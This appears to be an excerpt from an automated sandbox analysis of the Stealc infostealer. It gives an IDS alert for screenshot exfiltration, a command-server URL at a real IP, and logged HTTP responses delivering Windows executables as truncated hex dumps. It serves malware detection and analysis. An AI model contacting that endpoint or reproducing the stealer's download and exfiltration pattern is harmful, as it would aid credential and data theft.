Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.4:49733 -> 45.152.113.10:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://45.152.113.10/92335b4816f77e90.php
Source: Malware configuration extractor	URLs: http://45.152.113.10/92335b4816f77e90.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 11 Sep 2024 20:52:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 11 Sep 2024 20:52:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 11 Sep 2024 20:52:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 11 Sep 2024 20:52:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 11 Sep 2024 20:52:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 11 Sep 2024 20:52:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 11 Sep 2024 20:52:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
